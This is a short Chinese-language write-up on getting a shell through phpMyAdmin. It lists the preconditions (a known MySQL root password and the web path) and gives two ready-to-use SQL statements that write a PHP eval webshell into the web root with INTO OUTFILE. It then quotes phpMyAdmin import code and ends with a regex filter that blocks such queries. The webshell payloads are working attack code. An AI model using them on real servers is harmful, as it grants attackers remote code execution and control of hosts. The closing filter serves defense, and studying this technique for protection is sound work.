Getshell Via phpmyadmin SQL Execution To Write Evil Webshell File Into Disk

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 已知phpmyadmin的root密码，即mysql的root密码(phpmyadmin只是通过web方式连接mysql的工具)
    1) mysql本身默认的弱口令
    2) 通过其他漏洞(例如注入)获得了mysql的root密码
2. 已知网站的物理路径
    1) 在phpmyadmin的后台的"变量"tab页面，可以看到mysql的物理路径，从而推测出网站的物理路径
    2) 通过其他web漏洞获得网站的物理路径

----1---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(‘<?php @eval($_POST[cmd])?>‘);
select cmd from a into outfile ‘ C:/htdocs/1.php‘;   
Drop TABLE IF EXISTS a;
DROP TABLE IF EXISTS `a`;
----1---

----2---
select ‘<?php @eval($_POST[pass]);?>‘INTO OUTFILE ‘d:/wamp/www/exehack.php‘
----2---

http://www.exehack.net/681.html
http://www.exehack.net/99.html
http://www.187299.com/archives/1695

/*
this code point is important
$import_text is the one that need to be check strictly
*/
if ($go_sql) 
{
    // parse sql query
    include_once ‘libraries/parse_analyze.inc.php‘;

    if (isset($ajax_reload) && $ajax_reload[‘reload‘] === true) 
    {
        $response = PMA_Response::getInstance();
        $response->addJSON(‘ajax_reload‘, $ajax_reload);
    }
    PMA_executeQueryAndSendQueryResponse(
        $analyzed_sql_results, false, $db, $table, null, $import_text, null,
        $analyzed_sql_results[‘is_affected‘], null,
        null, null, null, $goto, $pmaThemeImage, null, null, null, $sql_query,
        null, null
    );
} 
else if ($result) 
{
    // Save a Bookmark with more than one queries (if Bookmark label given).
    if (! empty($_POST[‘bkm_label‘]) && ! empty($import_text)) 
    {
        PMA_storeTheQueryAsBookmark(
            $db, $GLOBALS[‘cfg‘][‘Bookmark‘][‘user‘],
            $import_text, $_POST[‘bkm_label‘],
            isset($_POST[‘bkm_replace‘]) ? $_POST[‘bkm_replace‘] : null
        );
    }

    $response = PMA_Response::getInstance();
    $response->isSuccess(true);
    $response->addJSON(‘message‘, PMA_Message::success($msg));
    $response->addJSON(
        ‘sql_query‘,
        PMA_Util::getMessage($msg, $sql_query, ‘success‘)
    );
} 
else if ($result == false) 
{
    $response = PMA_Response::getInstance();
    $response->isSuccess(false);
    $response->addJSON(‘message‘, PMA_Message::error($msg));
} 
else 
{
    $active_page = $goto;
    include ‘‘ . $goto;
}

if(preg_match("/select.*into.*outfile/i", $import_text, $matches))
{
    echo "request error!" . "</br>" . $matches[0];
    die();
}